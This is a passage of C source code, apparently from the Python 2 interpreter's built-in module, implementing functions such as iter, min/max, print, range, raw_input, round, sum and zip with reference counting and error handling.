"can't intern subclass of string");
return NULL;
}
Py_INCREF(s);
PyString_InternInPlace(&s);
return s;
}
PyDoc_STRVAR(intern_doc,
"intern(string) -> string\n\
\n\
``Intern'' the given string. This enters the string in the (global)\n\
table of interned strings whose purpose is to speed up dictionary lookups.\n\
Return the string itself or the previously interned string object with the\n\
same value.");
static PyObject *
builtin_iter(PyObject *self, PyObject *args)
{
PyObject *v, *w = NULL;
if (!PyArg_UnpackTuple(args, "iter", 1, 2, &v, &w))
return NULL;
if (w == NULL)
return PyObject_GetIter(v);
if (!PyCallable_Check(v)) {
PyErr_SetString(PyExc_TypeError,
"iter(v, w): v must be callable");
return NULL;
}
return PyCallIter_New(v, w);
}
PyDoc_STRVAR(iter_doc,
"iter(collection) -> iterator\n\
iter(callable, sentinel) -> iterator\n\
\n\
Get an iterator from an object. In the first form, the argument must\n\
supply its own iterator, or be a sequence.\n\
In the second form, the callable is called until it returns the sentinel.");
static PyObject *
builtin_len(PyObject *self, PyObject *v)
{
Py_ssize_t res;
res = PyObject_Size(v);
if (res < 0 && PyErr_Occurred())
return NULL;
return PyInt_FromSsize_t(res);
}
PyDoc_STRVAR(len_doc,
"len(object) -> integer\n\
\n\
Return the number of items of a sequence or collection.");
static PyObject *
builtin_locals(PyObject *self)
{
PyObject *d;
d = PyEval_GetLocals();
Py_XINCREF(d);
return d;
}
PyDoc_STRVAR(locals_doc,
"locals() -> dictionary\n\
\n\
Update and return a dictionary containing the current scope's local variables.");
static PyObject *
min_max(PyObject *args, PyObject *kwds, int op)
{
PyObject *v, *it, *item, *val, *maxitem, *maxval, *keyfunc=NULL;
const char *name = op == Py_LT ? "min" : "max";
if (PyTuple_Size(args) > 1)
v = args;
else if (!PyArg_UnpackTuple(args, (char *)name, 1, 1, &v))
return NULL;
if (kwds != NULL && PyDict_Check(kwds) && PyDict_Size(kwds)) {
keyfunc = PyDict_GetItemString(kwds, "key");
if (PyDict_Size(kwds)!=1 || keyfunc == NULL) {
PyErr_Format(PyExc_TypeError,
"%s() got an unexpected keyword argument", name);
return NULL;
}
Py_INCREF(keyfunc);
}
it = PyObject_GetIter(v);
if (it == NULL) {
Py_XDECREF(keyfunc);
return NULL;
}
maxitem = NULL; /* the result */
maxval = NULL; /* the value associated with the result */
while (( item = PyIter_Next(it) )) {
/* get the value from the key function */
if (keyfunc != NULL) {
val = PyObject_CallFunctionObjArgs(keyfunc, item, NULL);
if (val == NULL)
goto Fail_it_item;
}
/* no key function; the value is the item */
else {
val = item;
Py_INCREF(val);
}
/* maximum value and item are unset; set them */
if (maxval == NULL) {
maxitem = item;
maxval = val;
}
/* maximum value and item are set; update them as necessary */
else {
int cmp = PyObject_RichCompareBool(val, maxval, op);
if (cmp < 0)
goto Fail_it_item_and_val;
else if (cmp > 0) {
Py_DECREF(maxval);
Py_DECREF(maxitem);
maxval = val;
maxitem = item;
}
else {
Py_DECREF(item);
Py_DECREF(val);
}
}
}
if (PyErr_Occurred())
goto Fail_it;
if (maxval == NULL) {
PyErr_Format(PyExc_ValueError,
"%s() arg is an empty sequence", name);
assert(maxitem == NULL);
}
else
Py_DECREF(maxval);
Py_DECREF(it);
Py_XDECREF(keyfunc);
return maxitem;
Fail_it_item_and_val:
Py_DECREF(val);
Fail_it_item:
Py_DECREF(item);
Fail_it:
Py_XDECREF(maxval);
Py_XDECREF(maxitem);
Py_DECREF(it);
Py_XDECREF(keyfunc);
return NULL;
}
static PyObject *
builtin_min(PyObject *self, PyObject *args, PyObject *kwds)
{
return min_max(args, kwds, Py_LT);
}
PyDoc_STRVAR(min_doc,
"min(iterable[, key=func]) -> value\n\
min(a, b, c, ...[, key=func]) -> value\n\
\n\
With a single iterable argument, return its smallest item.\n\
With two or more arguments, return the smallest argument.");
static PyObject *
builtin_max(PyObject *self, PyObject *args, PyObject *kwds)
{
return min_max(args, kwds, Py_GT);
}
PyDoc_STRVAR(max_doc,
"max(iterable[, key=func]) -> value\n\
max(a, b, c, ...[, key=func]) -> value\n\
\n\
With a single iterable argument, return its largest item.\n\
With two or more arguments, return the largest argument.");
static PyObject *
builtin_oct(PyObject *self, PyObject *v)
{
PyNumberMethods *nb;
PyObject *res;
if (v == NULL || (nb = v->ob_type->tp_as_number) == NULL ||
nb->nb_oct == NULL) {
PyErr_SetString(PyExc_TypeError,
"oct() argument can't be converted to oct");
return NULL;
}
res = (*nb->nb_oct)(v);
if (res && !PyString_Check(res)) {
PyErr_Format(PyExc_TypeError,
"__oct__ returned non-string (type %.200s)",
res->ob_type->tp_name);
Py_DECREF(res);
return NULL;
}
return res;
}
PyDoc_STRVAR(oct_doc,
"oct(number) -> string\n\
\n\
Return the octal representation of an integer or long integer.");
static PyObject *
builtin_open(PyObject *self, PyObject *args, PyObject *kwds)
{
return PyObject_Call((PyObject*)&PyFile_Type, args, kwds);
}
PyDoc_STRVAR(open_doc,
"open(name[, mode[, buffering]]) -> file object\n\
\n\
Open a file using the file() type, returns a file object. This is the\n\
preferred way to open a file. See file.__doc__ for further information.");
static PyObject *
builtin_ord(PyObject *self, PyObject* obj)
{
long ord;
Py_ssize_t size;
if (PyString_Check(obj)) {
size = PyString_GET_SIZE(obj);
if (size == 1) {
ord = (long)((unsigned char)*PyString_AS_STRING(obj));
return PyInt_FromLong(ord);
}
} else if (PyByteArray_Check(obj)) {
size = PyByteArray_GET_SIZE(obj);
if (size == 1) {
ord = (long)((unsigned char)*PyByteArray_AS_STRING(obj));
return PyInt_FromLong(ord);
}
#ifdef Py_USING_UNICODE
} else if (PyUnicode_Check(obj)) {
size = PyUnicode_GET_SIZE(obj);
if (size == 1) {
ord = (long)*PyUnicode_AS_UNICODE(obj);
return PyInt_FromLong(ord);
}
#endif
} else {
PyErr_Format(PyExc_TypeError,
"ord() expected string of length 1, but " \
"%.200s found", obj->ob_type->tp_name);
return NULL;
}
PyErr_Format(PyExc_TypeError,
"ord() expected a character, "
"but string of length %zd found",
size);
return NULL;
}
PyDoc_STRVAR(ord_doc,
"ord(c) -> integer\n\
\n\
Return the integer ordinal of a one-character string.");
static PyObject *
builtin_pow(PyObject *self, PyObject *args)
{
PyObject *v, *w, *z = Py_None;
if (!PyArg_UnpackTuple(args, "pow", 2, 3, &v, &w, &z))
return NULL;
return PyNumber_Power(v, w, z);
}
PyDoc_STRVAR(pow_doc,
"pow(x, y[, z]) -> number\n\
\n\
With two arguments, equivalent to x**y. With three arguments,\n\
equivalent to (x**y) % z, but may be more efficient (e.g. for longs).");
static PyObject *
builtin_print(PyObject *self, PyObject *args, PyObject *kwds)
{
static char *kwlist[] = {"sep", "end", "file", 0};
static PyObject *dummy_args = NULL;
static PyObject *unicode_newline = NULL, *unicode_space = NULL;
static PyObject *str_newline = NULL, *str_space = NULL;
PyObject *newline, *space;
PyObject *sep = NULL, *end = NULL, *file = NULL;
int i, err, use_unicode = 0;
if (dummy_args == NULL) {
if (!(dummy_args = PyTuple_New(0)))
return NULL;
}
if (str_newline == NULL) {
str_newline = PyString_FromString("\n");
if (str_newline == NULL)
return NULL;
str_space = PyString_FromString(" ");
if (str_space == NULL) {
Py_CLEAR(str_newline);
return NULL;
}
#ifdef Py_USING_UNICODE
unicode_newline = PyUnicode_FromString("\n");
if (unicode_newline == NULL) {
Py_CLEAR(str_newline);
Py_CLEAR(str_space);
return NULL;
}
unicode_space = PyUnicode_FromString(" ");
if (unicode_space == NULL) {
Py_CLEAR(str_newline);
Py_CLEAR(str_space);
Py_CLEAR(unicode_space);
return NULL;
}
#endif
}
if (!PyArg_ParseTupleAndKeywords(dummy_args, kwds, "|OOO:print",
kwlist, &sep, &end, &file))
return NULL;
if (file == NULL || file == Py_None) {
file = PySys_GetObject("stdout");
/* sys.stdout may be None when FILE* stdout isn't connected */
if (file == Py_None)
Py_RETURN_NONE;
}
if (sep == Py_None) {
sep = NULL;
}
else if (sep) {
if (PyUnicode_Check(sep)) {
use_unicode = 1;
}
else if (!PyString_Check(sep)) {
PyErr_Format(PyExc_TypeError,
"sep must be None, str or unicode, not %.200s",
sep->ob_type->tp_name);
return NULL;
}
}
if (end == Py_None)
end = NULL;
else if (end) {
if (PyUnicode_Check(end)) {
use_unicode = 1;
}
else if (!PyString_Check(end)) {
PyErr_Format(PyExc_TypeError,
"end must be None, str or unicode, not %.200s",
end->ob_type->tp_name);
return NULL;
}
}
if (!use_unicode) {
for (i = 0; i < PyTuple_Size(args); i++) {
if (PyUnicode_Check(PyTuple_GET_ITEM(args, i))) {
use_unicode = 1;
break;
}
}
}
if (use_unicode) {
newline = unicode_newline;
space = unicode_space;
}
else {
newline = str_newline;
space = str_space;
}
for (i = 0; i < PyTuple_Size(args); i++) {
if (i > 0) {
if (sep == NULL)
err = PyFile_WriteObject(space, file,
Py_PRINT_RAW);
else
err = PyFile_WriteObject(sep, file,
Py_PRINT_RAW);
if (err)
return NULL;
}
err = PyFile_WriteObject(PyTuple_GetItem(args, i), file,
Py_PRINT_RAW);
if (err)
return NULL;
}
if (end == NULL)
err = PyFile_WriteObject(newline, file, Py_PRINT_RAW);
else
err = PyFile_WriteObject(end, file, Py_PRINT_RAW);
if (err)
return NULL;
Py_RETURN_NONE;
}
PyDoc_STRVAR(print_doc,
"print(value, ..., sep=' ', end='\\n', file=sys.stdout)\n\
\n\
Prints the values to a stream, or to sys.stdout by default.\n\
Optional keyword arguments:\n\
file: a file-like object (stream); defaults to the current sys.stdout.\n\
sep: string inserted between values, default a space.\n\
end: string appended after the last value, default a newline.");
/* Return number of items in range (lo, hi, step), when arguments are
* PyInt or PyLong objects. step > 0 required. Return a value < 0 if
* & only if the true value is too large to fit in a signed long.
* Arguments MUST return 1 with either PyInt_Check() or
* PyLong_Check(). Return -1 when there is an error.
*/
static long
get_len_of_range_longs(PyObject *lo, PyObject *hi, PyObject *step)
{
/* -------------------------------------------------------------
Algorithm is equal to that of get_len_of_range(), but it operates
on PyObjects (which are assumed to be PyLong or PyInt objects).
---------------------------------------------------------------*/
long n;
PyObject *diff = NULL;
PyObject *one = NULL;
PyObject *tmp1 = NULL, *tmp2 = NULL, *tmp3 = NULL;
/* holds sub-expression evaluations */
/* if (lo >= hi), return length of 0. */
if (PyObject_Compare(lo, hi) >= 0)
return 0;
if ((one = PyLong_FromLong(1L)) == NULL)
goto Fail;
if ((tmp1 = PyNumber_Subtract(hi, lo)) == NULL)
goto Fail;
if ((diff = PyNumber_Subtract(tmp1, one)) == NULL)
goto Fail;
if ((tmp2 = PyNumber_FloorDivide(diff, step)) == NULL)
goto Fail;
if ((tmp3 = PyNumber_Add(tmp2, one)) == NULL)
goto Fail;
n = PyLong_AsLong(tmp3);
if (PyErr_Occurred()) { /* Check for Overflow */
PyErr_Clear();
goto Fail;
}
Py_DECREF(tmp3);
Py_DECREF(tmp2);
Py_DECREF(diff);
Py_DECREF(tmp1);
Py_DECREF(one);
return n;
Fail:
Py_XDECREF(tmp3);
Py_XDECREF(tmp2);
Py_XDECREF(diff);
Py_XDECREF(tmp1);
Py_XDECREF(one);
return -1;
}
/* Helper function for handle_range_longs. If arg is int or long
object, returns it with incremented reference count. If arg is
float, raises type error. As a last resort, creates a new int by
calling arg type's nb_int method if it is defined. Returns NULL
and sets exception on error.
Returns a new reference to an int object. */
static PyObject *
get_range_long_argument(PyObject *arg, const char *name)
{
PyObject *v;
PyNumberMethods *nb;
if (PyInt_Check(arg) || PyLong_Check(arg)) {
Py_INCREF(arg);
return arg;
}
if (PyFloat_Check(arg) ||
(nb = Py_TYPE(arg)->tp_as_number) == NULL ||
nb->nb_int == NULL) {
PyErr_Format(PyExc_TypeError,
"range() integer %s argument expected, got %s.",
name, arg->ob_type->tp_name);
return NULL;
}
v = nb->nb_int(arg);
if (v == NULL)
return NULL;
if (PyInt_Check(v) || PyLong_Check(v))
return v;
Py_DECREF(v);
PyErr_SetString(PyExc_TypeError,
"__int__ should return int object");
return NULL;
}
/* An extension of builtin_range() that handles the case when PyLong
* arguments are given. */
static PyObject *
handle_range_longs(PyObject *self, PyObject *args)
{
PyObject *ilow = NULL;
PyObject *ihigh = NULL;
PyObject *istep = NULL;
PyObject *low = NULL;
PyObject *high = NULL;
PyObject *step = NULL;
PyObject *curnum = NULL;
PyObject *v = NULL;
long bign;
Py_ssize_t i, n;
int cmp_result;
PyObject *zero = PyLong_FromLong(0);
if (zero == NULL)
return NULL;
if (!PyArg_UnpackTuple(args, "range", 1, 3, &ilow, &ihigh, &istep)) {
Py_DECREF(zero);
return NULL;
}
/* Figure out which way we were called, supply defaults, and be
* sure to incref everything so that the decrefs at the end
* are correct. NB: ilow, ihigh and istep are borrowed references.
*/
assert(ilow != NULL);
if (ihigh == NULL) {
/* only 1 arg -- it's the upper limit */
ihigh = ilow;
ilow = NULL;
}
/* convert ihigh if necessary */
assert(ihigh != NULL);
high = get_range_long_argument(ihigh, "end");
if (high == NULL)
goto Fail;
/* ihigh correct now; do ilow */
if (ilow == NULL) {
Py_INCREF(zero);
low = zero;
}
else {
low = get_range_long_argument(ilow, "start");
if (low == NULL)
goto Fail;
}
/* ilow and ihigh correct now; do istep */
if (istep == NULL)
step = PyLong_FromLong(1);
else
step = get_range_long_argument(istep, "step");
if (step == NULL)
goto Fail;
if (PyObject_Cmp(step, zero, &cmp_result) == -1)
goto Fail;
if (cmp_result == 0) {
PyErr_SetString(PyExc_ValueError,
"range() step argument must not be zero");
goto Fail;
}
if (cmp_result > 0)
bign = get_len_of_range_longs(low, high, step);
else {
PyObject *neg_step = PyNumber_Negative(step);
if (neg_step == NULL)
goto Fail;
bign = get_len_of_range_longs(high, low, neg_step);
Py_DECREF(neg_step);
}
n = (Py_ssize_t)bign;
if (bign < 0 || (long)n != bign) {
PyErr_SetString(PyExc_OverflowError,
"range() result has too many items");
goto Fail;
}
v = PyList_New(n);
if (v == NULL)
goto Fail;
curnum = low;
Py_INCREF(curnum);
for (i = 0; i < n; i++) {
PyObject *w = PyNumber_Long(curnum);
PyObject *tmp_num;
if (w == NULL)
goto Fail;
PyList_SET_ITEM(v, i, w);
tmp_num = PyNumber_Add(curnum, step);
if (tmp_num == NULL)
goto Fail;
Py_DECREF(curnum);
curnum = tmp_num;
}
Py_DECREF(low);
Py_DECREF(high);
Py_DECREF(step);
Py_DECREF(zero);
Py_DECREF(curnum);
return v;
Fail:
Py_XDECREF(low);
Py_XDECREF(high);
Py_XDECREF(step);
Py_DECREF(zero);
Py_XDECREF(curnum);
Py_XDECREF(v);
return NULL;
}
/* Return number of items in range/xrange (lo, hi, step). step > 0
* required. Return a value < 0 if & only if the true value is too
* large to fit in a signed long.
*/
static long
get_len_of_range(long lo, long hi, long step)
{
/* -------------------------------------------------------------
If lo >= hi, the range is empty.
Else if n values are in the range, the last one is
lo + (n-1)*step, which must be <= hi-1. Rearranging,
n <= (hi - lo - 1)/step + 1, so taking the floor of the RHS gives
the proper value. Since lo < hi in this case, hi-lo-1 >= 0, so
the RHS is non-negative and so truncation is the same as the
floor. Letting M be the largest positive long, the worst case
for the RHS numerator is hi=M, lo=-M-1, and then
hi-lo-1 = M-(-M-1)-1 = 2*M. Therefore unsigned long has enough
precision to compute the RHS exactly.
---------------------------------------------------------------*/
long n = 0;
if (lo < hi) {
unsigned long uhi = (unsigned long)hi;
unsigned long ulo = (unsigned long)lo;
unsigned long diff = uhi - ulo - 1;
n = (long)(diff / (unsigned long)step + 1);
}
return n;
}
static PyObject *
builtin_range(PyObject *self, PyObject *args)
{
long ilow = 0, ihigh = 0, istep = 1;
long bign;
Py_ssize_t i, n;
PyObject *v;
if (PyTuple_Size(args) <= 1) {
if (!PyArg_ParseTuple(args,
"l;range() requires 1-3 int arguments",
&ihigh)) {
PyErr_Clear();
return handle_range_longs(self, args);
}
}
else {
if (!PyArg_ParseTuple(args,
"ll|l;range() requires 1-3 int arguments",
&ilow, &ihigh, &istep)) {
PyErr_Clear();
return handle_range_longs(self, args);
}
}
if (istep == 0) {
PyErr_SetString(PyExc_ValueError,
"range() step argument must not be zero");
return NULL;
}
if (istep > 0)
bign = get_len_of_range(ilow, ihigh, istep);
else
bign = get_len_of_range(ihigh, ilow, -istep);
n = (Py_ssize_t)bign;
if (bign < 0 || (long)n != bign) {
PyErr_SetString(PyExc_OverflowError,
"range() result has too many items");
return NULL;
}
v = PyList_New(n);
if (v == NULL)
return NULL;
for (i = 0; i < n; i++) {
PyObject *w = PyInt_FromLong(ilow);
if (w == NULL) {
Py_DECREF(v);
return NULL;
}
PyList_SET_ITEM(v, i, w);
ilow += istep;
}
return v;
}
PyDoc_STRVAR(range_doc,
"range(stop) -> list of integers\n\
range(start, stop[, step]) -> list of integers\n\
\n\
Return a list containing an arithmetic progression of integers.\n\
range(i, j) returns [i, i+1, i+2, ..., j-1]; start (!) defaults to 0.\n\
When step is given, it specifies the increment (or decrement).\n\
For example, range(4) returns [0, 1, 2, 3]. The end point is omitted!\n\
These are exactly the valid indices for a list of 4 elements.");
static PyObject *
builtin_raw_input(PyObject *self, PyObject *args)
{
PyObject *v = NULL;
PyObject *fin = PySys_GetObject("stdin");
PyObject *fout = PySys_GetObject("stdout");
if (!PyArg_UnpackTuple(args, "[raw_]input", 0, 1, &v))
return NULL;
if (fin == NULL) {
PyErr_SetString(PyExc_RuntimeError, "[raw_]input: lost sys.stdin");
return NULL;
}
if (fout == NULL) {
PyErr_SetString(PyExc_RuntimeError, "[raw_]input: lost sys.stdout");
return NULL;
}
if (PyFile_SoftSpace(fout, 0)) {
if (PyFile_WriteString(" ", fout) != 0)
return NULL;
}
if (PyFile_AsFile(fin) && PyFile_AsFile(fout)
&& isatty(fileno(PyFile_AsFile(fin)))
&& isatty(fileno(PyFile_AsFile(fout)))) {
PyObject *po;
char *prompt;
char *s;
PyObject *result;
if (v != NULL) {
po = PyObject_Str(v);
if (po == NULL)
return NULL;
prompt = PyString_AsString(po);
if (prompt == NULL)
return NULL;
}
else {
po = NULL;
prompt = "";
}
s = PyOS_Readline(PyFile_AsFile(fin), PyFile_AsFile(fout),
prompt);
Py_XDECREF(po);
if (s == NULL) {
if (!PyErr_Occurred())
PyErr_SetNone(PyExc_KeyboardInterrupt);
return NULL;
}
if (*s == '\0') {
PyErr_SetNone(PyExc_EOFError);
result = NULL;
}
else { /* strip trailing '\n' */
size_t len = strlen(s);
if (len > PY_SSIZE_T_MAX) {
PyErr_SetString(PyExc_OverflowError,
"[raw_]input: input too long");
result = NULL;
}
else {
result = PyString_FromStringAndSize(s, len-1);
}
}
PyMem_FREE(s);
return result;
}
if (v != NULL) {
if (PyFile_WriteObject(v, fout, Py_PRINT_RAW) != 0)
return NULL;
}
return PyFile_GetLine(fin, -1);
}
PyDoc_STRVAR(raw_input_doc,
"raw_input([prompt]) -> string\n\
\n\
Read a string from standard input. The trailing newline is stripped.\n\
If the user hits EOF (Unix: Ctl-D, Windows: Ctl-Z+Return), raise EOFError.\n\
On Unix, GNU readline is used if enabled. The prompt string, if given,\n\
is printed without a trailing newline before reading.");
static PyObject *
builtin_reduce(PyObject *self, PyObject *args)
{
static PyObject *functools_reduce = NULL;
if (PyErr_WarnPy3k("reduce() not supported in 3.x; "
"use functools.reduce()", 1) < 0)
return NULL;
if (functools_reduce == NULL) {
PyObject *functools = PyImport_ImportModule("functools");
if (functools == NULL)
return NULL;
functools_reduce = PyObject_GetAttrString(functools, "reduce");
Py_DECREF(functools);
if (functools_reduce == NULL)
return NULL;
}
return PyObject_Call(functools_reduce, args, NULL);
}
PyDoc_STRVAR(reduce_doc,
"reduce(function, sequence[, initial]) -> value\n\
\n\
Apply a function of two arguments cumulatively to the items of a sequence,\n\
from left to right, so as to reduce the sequence to a single value.\n\
For example, reduce(lambda x, y: x+y, [1, 2, 3, 4, 5]) calculates\n\
((((1+2)+3)+4)+5). If initial is present, it is placed before the items\n\
of the sequence in the calculation, and serves as a default when the\n\
sequence is empty.");
static PyObject *
builtin_reload(PyObject *self, PyObject *v)
{
if (PyErr_WarnPy3k("In 3.x, reload() is renamed to imp.reload()",
1) < 0)
return NULL;
return PyImport_ReloadModule(v);
}
PyDoc_STRVAR(reload_doc,
"reload(module) -> module\n\
\n\
Reload the module. The module must have been successfully imported before.");
static PyObject *
builtin_repr(PyObject *self, PyObject *v)
{
return PyObject_Repr(v);
}
PyDoc_STRVAR(repr_doc,
"repr(object) -> string\n\
\n\
Return the canonical string representation of the object.\n\
For most object types, eval(repr(object)) == object.");
static PyObject *
builtin_round(PyObject *self, PyObject *args, PyObject *kwds)
{
double x;
PyObject *o_ndigits = NULL;
Py_ssize_t ndigits;
static char *kwlist[] = {"number", "ndigits", 0};
if (!PyArg_ParseTupleAndKeywords(args, kwds, "d|O:round",
kwlist, &x, &o_ndigits))
return NULL;
if (o_ndigits == NULL) {
/* second argument defaults to 0 */
ndigits = 0;
}
else {
/* interpret 2nd argument as a Py_ssize_t; clip on overflow */
ndigits = PyNumber_AsSsize_t(o_ndigits, NULL);
if (ndigits == -1 && PyErr_Occurred())
return NULL;
}
/* nans, infinities and zeros round to themselves */
if (!Py_IS_FINITE(x) || x == 0.0)
return PyFloat_FromDouble(x);
/* Deal with extreme values for ndigits. For ndigits > NDIGITS_MAX, x
always rounds to itself. For ndigits < NDIGITS_MIN, x always
rounds to +-0.0. Here 0.30103 is an upper bound for log10(2). */
#define NDIGITS_MAX ((int)((DBL_MANT_DIG-DBL_MIN_EXP) * 0.30103))
#define NDIGITS_MIN (-(int)((DBL_MAX_EXP + 1) * 0.30103))
if (ndigits > NDIGITS_MAX)
/* return x */
return PyFloat_FromDouble(x);
else if (ndigits < NDIGITS_MIN)
/* return 0.0, but with sign of x */
return PyFloat_FromDouble(0.0*x);
else
/* finite x, and ndigits is not unreasonably large */
/* _Py_double_round is defined in floatobject.c */
return _Py_double_round(x, (int)ndigits);
#undef NDIGITS_MAX
#undef NDIGITS_MIN
}
PyDoc_STRVAR(round_doc,
"round(number[, ndigits]) -> floating point number\n\
\n\
Round a number to a given precision in decimal digits (default 0 digits).\n\
This always returns a floating point number. Precision may be negative.");
static PyObject *
builtin_sorted(PyObject *self, PyObject *args, PyObject *kwds)
{
PyObject *newlist, *v, *seq, *compare=NULL, *keyfunc=NULL, *newargs;
PyObject *callable;
static char *kwlist[] = {"iterable", "cmp", "key", "reverse", 0};
int reverse;
/* args 1-4 should match listsort in Objects/listobject.c */
if (!PyArg_ParseTupleAndKeywords(args, kwds, "O|OOi:sorted",
kwlist, &seq, &compare, &keyfunc, &reverse))
return NULL;
newlist = PySequence_List(seq);
if (newlist == NULL)
return NULL;
callable = PyObject_GetAttrString(newlist, "sort");
if (callable == NULL) {
Py_DECREF(newlist);
return NULL;
}
newargs = PyTuple_GetSlice(args, 1, 4);
if (newargs == NULL) {
Py_DECREF(newlist);
Py_DECREF(callable);
return NULL;
}
v = PyObject_Call(callable, newargs, kwds);
Py_DECREF(newargs);
Py_DECREF(callable);
if (v == NULL) {
Py_DECREF(newlist);
return NULL;
}
Py_DECREF(v);
return newlist;
}
PyDoc_STRVAR(sorted_doc,
"sorted(iterable, cmp=None, key=None, reverse=False) --> new sorted list");
static PyObject *
builtin_vars(PyObject *self, PyObject *args)
{
PyObject *v = NULL;
PyObject *d;
if (!PyArg_UnpackTuple(args, "vars", 0, 1, &v))
return NULL;
if (v == NULL) {
d = PyEval_GetLocals();
if (d == NULL) {
if (!PyErr_Occurred())
PyErr_SetString(PyExc_SystemError,
"vars(): no locals!?");
}
else
Py_INCREF(d);
}
else {
d = PyObject_GetAttrString(v, "__dict__");
if (d == NULL) {
PyErr_SetString(PyExc_TypeError,
"vars() argument must have __dict__ attribute");
return NULL;
}
}
return d;
}
PyDoc_STRVAR(vars_doc,
"vars([object]) -> dictionary\n\
\n\
Without arguments, equivalent to locals().\n\
With an argument, equivalent to object.__dict__.");
static PyObject*
builtin_sum(PyObject *self, PyObject *args)
{
PyObject *seq;
PyObject *result = NULL;
PyObject *temp, *item, *iter;
if (!PyArg_UnpackTuple(args, "sum", 1, 2, &seq, &result))
return NULL;
iter = PyObject_GetIter(seq);
if (iter == NULL)
return NULL;
if (result == NULL) {
result = PyInt_FromLong(0);
if (result == NULL) {
Py_DECREF(iter);
return NULL;
}
} else {
/* reject string values for 'start' parameter */
if (PyObject_TypeCheck(result, &PyBaseString_Type)) {
PyErr_SetString(PyExc_TypeError,
"sum() can't sum strings [use ''.join(seq) instead]");
Py_DECREF(iter);
return NULL;
}
Py_INCREF(result);
}
#ifndef SLOW_SUM
/* Fast addition by keeping temporary sums in C instead of new Python objects.
Assumes all inputs are the same type. If the assumption fails, default
to the more general routine.
*/
if (PyInt_CheckExact(result)) {
long i_result = PyInt_AS_LONG(result);
Py_DECREF(result);
result = NULL;
while(result == NULL) {
item = PyIter_Next(iter);
if (item == NULL) {
Py_DECREF(iter);
if (PyErr_Occurred())
return NULL;
return PyInt_FromLong(i_result);
}
if (PyInt_CheckExact(item)) {
long b = PyInt_AS_LONG(item);
long x = i_result + b;
if ((x^i_result) >= 0 || (x^b) >= 0) {
i_result = x;
Py_DECREF(item);
continue;
}
}
/* Either overflowed or is not an int. Restore real objects and process normally */
result = PyInt_FromLong(i_result);
temp = PyNumber_Add(result, item);
Py_DECREF(result);
Py_DECREF(item);
result = temp;
if (result == NULL) {
Py_DECREF(iter);
return NULL;
}
}
}
if (PyFloat_CheckExact(result)) {
double f_result = PyFloat_AS_DOUBLE(result);
Py_DECREF(result);
result = NULL;
while(result == NULL) {
item = PyIter_Next(iter);
if (item == NULL) {
Py_DECREF(iter);
if (PyErr_Occurred())
return NULL;
return PyFloat_FromDouble(f_result);
}
if (PyFloat_CheckExact(item)) {
PyFPE_START_PROTECT("add", Py_DECREF(item); Py_DECREF(iter); return 0)
f_result += PyFloat_AS_DOUBLE(item);
PyFPE_END_PROTECT(f_result)
Py_DECREF(item);
continue;
}
if (PyInt_CheckExact(item)) {
PyFPE_START_PROTECT("add", Py_DECREF(item); Py_DECREF(iter); return 0)
f_result += (double)PyInt_AS_LONG(item);
PyFPE_END_PROTECT(f_result)
Py_DECREF(item);
continue;
}
result = PyFloat_FromDouble(f_result);
temp = PyNumber_Add(result, item);
Py_DECREF(result);
Py_DECREF(item);
result = temp;
if (result == NULL) {
Py_DECREF(iter);
return NULL;
}
}
}
#endif
for(;;) {
item = PyIter_Next(iter);
if (item == NULL) {
/* error, or end-of-sequence */
if (PyErr_Occurred()) {
Py_DECREF(result);
result = NULL;
}
break;
}
/* It's tempting to use PyNumber_InPlaceAdd instead of
PyNumber_Add here, to avoid quadratic running time
when doing 'sum(list_of_lists, [])'. However, this
would produce a change in behaviour: a snippet like
empty = []
sum([[x] for x in range(10)], empty)
would change the value of empty. */
temp = PyNumber_Add(result, item);
Py_DECREF(result);
Py_DECREF(item);
result = temp;
if (result == NULL)
break;
}
Py_DECREF(iter);
return result;
}
PyDoc_STRVAR(sum_doc,
"sum(sequence[, start]) -> value\n\
\n\
Return the sum of a sequence of numbers (NOT strings) plus the value\n\
of parameter 'start' (which defaults to 0). When the sequence is\n\
empty, return start.");
static PyObject *
builtin_isinstance(PyObject *self, PyObject *args)
{
PyObject *inst;
PyObject *cls;
int retval;
if (!PyArg_UnpackTuple(args, "isinstance", 2, 2, &inst, &cls))
return NULL;
retval = PyObject_IsInstance(inst, cls);
if (retval < 0)
return NULL;
return PyBool_FromLong(retval);
}
PyDoc_STRVAR(isinstance_doc,
"isinstance(object, class-or-type-or-tuple) -> bool\n\
\n\
Return whether an object is an instance of a class or of a subclass thereof.\n\
With a type as second argument, return whether that is the object's type.\n\
The form using a tuple, isinstance(x, (A, B, ...)), is a shortcut for\n\
isinstance(x, A) or isinstance(x, B) or ... (etc.).");
static PyObject *
builtin_issubclass(PyObject *self, PyObject *args)
{
PyObject *derived;
PyObject *cls;
int retval;
if (!PyArg_UnpackTuple(args, "issubclass", 2, 2, &derived, &cls))
return NULL;
retval = PyObject_IsSubclass(derived, cls);
if (retval < 0)
return NULL;
return PyBool_FromLong(retval);
}
PyDoc_STRVAR(issubclass_doc,
"issubclass(C, B) -> bool\n\
\n\
Return whether class C is a subclass (i.e., a derived class) of class B.\n\
When using a tuple as the second argument issubclass(X, (A, B, ...)),\n\
is a shortcut for issubclass(X, A) or issubclass(X, B) or ... (etc.).");
static PyObject*
builtin_zip(PyObject *self, PyObject *args)
{
PyObject *ret;
const Py_ssize_t itemsize = PySequence_Length(args);
Py_ssize_t i;
PyObject *itlist; /* tuple of iterators */
Py_ssize_t len; /* guess at result length */
if (itemsize == 0)
return PyList_New(0);
/* args must be a tuple */
assert(PyTuple_Check(args));
/* Guess at result length: the shortest of the input lengths.
If some argument refuses to say, we refuse to guess too, lest
an argument like xrange(sys.maxint) lead us astray.*/
len = -1; /* unknown */
for (i = 0; i < itemsize; ++i) {
PyObject *item = PyTuple_GET_ITEM(args, i);
Py_ssize_t thislen = _PyObject_LengthHint(item, -2);
if (thislen < 0) {
if (thislen == -1)
return NULL;
len = -1;
break;
}
else if (len < 0 || thislen < len)
len = thislen;
}
/* allocate result list */
if (len < 0)
len = 10; /* arbitrary */
if ((ret = PyList_New(len)) == NULL)
return NULL;
/* obtain iterators */
itlist = PyTuple_New(itemsize);
if (itlist == NULL)
goto Fail_ret;
for (i = 0; i < itemsize; ++i) {
PyObject *item = PyTuple_GET_ITEM(args, i);
PyObject *it = PyObject_GetIter(item);
if (it == NULL) {
if (PyErr_ExceptionMatches(PyExc_TypeError))
PyErr_Format(PyExc_TypeError,
"zip argument #%zd must support iteration",
i+1);
goto Fail_ret_itlist;
}
PyTuple_SET_ITEM(itlist, i, it);
}
/* build result into ret list */
for (i = 0; ; ++i) {
int j;
PyObject *next = PyTuple_New(itemsize);
if (!next)
goto Fail_ret_itlist;
for (j = 0; j < itemsize; j++) {
